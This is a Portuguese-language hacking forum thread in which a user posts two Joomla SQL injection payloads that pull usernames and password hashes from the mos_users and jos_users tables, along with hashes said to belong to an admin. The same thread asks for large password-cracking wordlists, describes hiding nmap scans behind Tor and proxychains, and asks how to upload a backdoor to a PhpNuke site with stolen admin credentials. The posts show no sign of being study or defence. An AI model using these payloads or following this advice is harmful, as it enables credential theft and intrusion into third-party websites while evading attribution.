Messages

E ae pessoal ,
Preciso de uma ajuda nessas strings de sql injection.Esses comandos de SQL injection , esta correto para export MD5 ? São estranhos esses possiveis MD5. diz ser do admin.Alguém pode me dar uma ajuda ? Alguem ja mexeu com sql injection joomla ?
334455/**/union/**/select/**/null,null,concat(password,0x3a),nul
l,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,nul
l,concat(0x3a,username)/**/from/**/mos_users/*
MD5=9789bf30572f789579e8b0b7bc867437

20union%20select%200,0,concat(char(117,115,101,114,110,97,109,101,58
),username,char(32,112,97,115,115,119,111,114,100,58),password),4,5,6,7,8,9,00,0
,444,555,0,777,0,999,0,0,0,0,0,0,0%20from%20jos_users/*
MD5=2a1192a711bbbce4ca8f320d2981e934

hey guys ,
quem tem uma boa wordlist ? no minimo de 200MB por ae.
alguem ?

[]´s

The URL you entered is not correct, please try again!
Alguem tem outro link ?

Quem quiser da uma olhada aqui ->
http://proxychains.sourceforge.net/howto.html

*You can use it with any application, even network scanners
 oh yes - you can make portscan via proxy (or chained proxies)
 for example with Nmap scanner (www.insecire.org/nmap).
 proxychains nmap -sT -PO -p 80 -iR  (find some webservers through proxy)
 Existe outra ferramenta feita pelo grupo THC que pode fazer o mesmo.
Sempre existira opcoes  para scannera por tras de bouncer.

vixi... A questao aqui nao é se vai demorar ou não  e sim a tecnica que pode ser usada em tais ferramentas.O que tem o Wuefez ? ele é melhor que alguem aqui ? isso é balela.

Trojeu joianha ? cara , tens noçao do q eu estava perguntando ? enfim , conseguir usar tor+proxychain com nmap usando a opcao -sT que a unica funcao que o tor suporta que é connect() do nmap. deveria brincar menos com php include e estudar mais.   

wuefez , o sentido da pergunta é :
Se alguem ja teve sucesso com o nmap+tor ?
scannear com o nmap usando -sT por tras de socks.
No caso o google.com , sim, conheco muito bem

hey guys ,
alguém ja usou o tor +privoxy ou outras  ferramenta como  tcpproxy/socat.. com nmap ?

valeu Wuefez  , vou dar uma olhada , não sou muito fã de web attack , prefiro a old school , mas as vezes é preciso fazer.

abraços

hey guys ,
bem sou novo nesse forum , gostaria de tirar uma duvida .Caso eu estiver com admin/password do PhpNuke , existe alguma maneira de fazer upload de uma backdoor ? alguem ja fez algo parecido ?

obrigado